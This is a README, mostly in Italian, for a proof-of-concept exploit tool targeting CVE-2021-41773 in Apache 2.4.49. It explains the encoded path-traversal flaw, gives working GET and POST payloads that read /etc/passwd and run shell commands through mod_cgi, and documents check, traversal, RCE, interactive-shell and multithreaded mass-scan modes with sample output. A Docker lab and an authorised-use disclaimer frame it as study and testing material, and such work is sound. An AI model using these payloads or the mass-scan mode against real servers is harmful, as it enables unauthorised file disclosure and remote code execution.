
Prova di concetto di CVE-2021-41773
Solo per uso in ambienti controllati e propri. Non utilizzare contro sistemi senza autorizzazione.
PoC sviluppata per dimostrare e comprendere la vulnerabilità CVE-2021-41773, presente in Apache HTTP Server 2.4.49.
Il difetto risiede nella funzione ap_normalize_path(), che non validava correttamente i caratteri codificati nell'URL. Ciò permetteva a un attaccante di uscire dal DocumentRoot mediante una sequenza di caratteri codificati (%2e%2e%2f invece di ../), leggendo file arbitrari del sistema.
Quando il modulo mod_cgi era abilitato, la vulnerabilità si trasformava in RCE (Remote Code Execution), consentendo di eseguire comandi direttamente sul server con i permessi del processo Apache.
Il server deve soddisfare tutte queste condizioni per essere vulnerabile:
| Condizione | Dettaglio |
|---|---|
| Versione di Apache | Esattamente 2.4.49 |
| Direttiva di accesso | Require all granted nella configurazione |
| Modulo CGI | mod_cgi abilitato (solo per RCE) |
Apache 2.4.49 filtrava il classico ../ ma non la sua versione codificata nell'URL. L'attaccante costruisce un percorso che il filtro non rileva, ma che il sistema operativo interpreta correttamente:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f è la codifica URL di ../. Apache lo lasciava passare, il OS lo risolveva, e il risultato era l'accesso a file al di fuori della directory web.
Con mod_cgi attivo, il path traversal viene usato per puntare a /bin/sh invece che a un file. Apache lo tratta come uno script CGI e lo esegue. Il comando viaggia nel body del POST come uno script shell minimo:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
L'output del comando arriva nella risposta HTTP.
Il repository include un ambiente pronto per riprodurre la vulnerabilità in setup/:
cd setup
docker compose up -d
Questo avvia Apache 2.4.49 sulla porta 8080 con la configurazione vulnerabile (Require all granted + mod_cgi abilitato). I file del lab:
| File | Descrizione |
|---|---|
setup/docker-compose.yml | Container con Apache 2.4.49 |
setup/httpd.conf | Configurazione vulnerabile di Apache |
I file di configurazione utilizzati sono in setup/.
Perché urllib3 e non requests?
requests ricodifica automaticamente i caratteri del path prima di inviarli.
Questo rompe il payload perché il server riceve %252e invece di %2e.
urllib3 permette di inviare il path senza modifiche.
Perché .%2e/ e non %2e%2e/?
Apache filtra %2e%2e/ nel modulo mod_rewrite.
La variante .%2e/ è semanticamente equivalente ma supera il filtro,
perché la normalizzazione del path avviene dopo la validazione.
mod_cgi deve essere abilitato perché la modalità RCE funzioni.
Senza di esso, è possibile solo il path traversal.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| Argomento | Richiesto | Descrizione |
|---|---|---|
--target | Sì* | URL base del server (es: http://localhost:8080) |
--input-file / -iF | Sì* | File con elenco di target (uno per riga) |
--mode | Sì | Modalità di operazione (vedi tabella sotto) |
--cmd | No | Comando da eseguire in modalità rce (default: id) |
--file | No | File da leggere in modalità traversal (default: /etc/passwd) |
--threads / -t | No | Thread per scansione massiva (default: 10, solo con --input-file) |
--output / -o | No | Esporta i risultati in JSON (solo con --input-file) |
* --target e --input-file sono mutuamente esclusivi — si usa uno o l'altro.
| Modalità | Descrizione |
|---|---|
check | Verifica se il target è vulnerabile e se mod_cgi è abilitato, senza estrarre dati sensibili |
traversal | Legge un file arbitrario del sistema tramite path traversal |
rce | Esegue un singolo comando sul server tramite mod_cgi |
shell | Pseudo-shell interattiva per eseguire comandi RCE in serie |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
Il file JSON contiene i metadati della scansione e un array di risultati con target, status, server, hostname e rce per ogni obiettivo.